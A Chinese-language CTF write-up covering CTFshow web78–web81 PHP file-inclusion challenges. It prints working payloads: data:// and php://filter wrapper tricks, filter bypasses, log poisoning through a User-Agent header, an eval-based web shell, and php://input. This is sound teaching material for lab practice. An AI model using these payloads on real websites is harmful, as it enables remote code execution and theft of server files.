CTFer——檔案包含

Heck1ng發表於2024-03-10

檔案包含

CTFshow web78

$file = $_GET['file'];
include($file);

檔案包含 include函式

嘗試使用flag.php 發現不會顯示但是頁面返回正常 說明檔案包含成功 存在flag.php檔案

獲取flag位置 ?file=data://text/plain,<?php system('ls');?>

獲取flag ?file=php://filter/read=convert.base64-encode/resource=flag.php

CTFshow web79

$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);

用replace函式過濾了php

獲取flag位置 ?file=data://text/plain,<?php system('ls');?>

這裡php可以用大小寫繞過 也可以使用=號替代php短標籤

獲取flag ?file=data://text/plain,<?= system("tac fla*");?>

獲取flag(2):

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> <?php system('cat flag.php');
CTfshow web80&web81
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
本題過濾了data協議 和php
這裡可以使用日誌包含
日誌地址通常為
apache一般是/var/log/apache/access.log

nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log


透過get傳參使?file=/var/log/nginx/access.log
抓包後在user-agent上
加入 <?php echo system('ls');?>
可以檢視到 存在flOg.php
改為cat flag.php 即可得到flag


另一種方法 在UA頭中加入一句話木馬 用蟻劍連線
<?php @eval($_POST[123]);?>

還有一種方法
php:input 可以訪問請求的原始資料的只讀流,在POST請求中訪問POST的data部分 。
也就是傳入一個 php:input
然後去post 命令


相關文章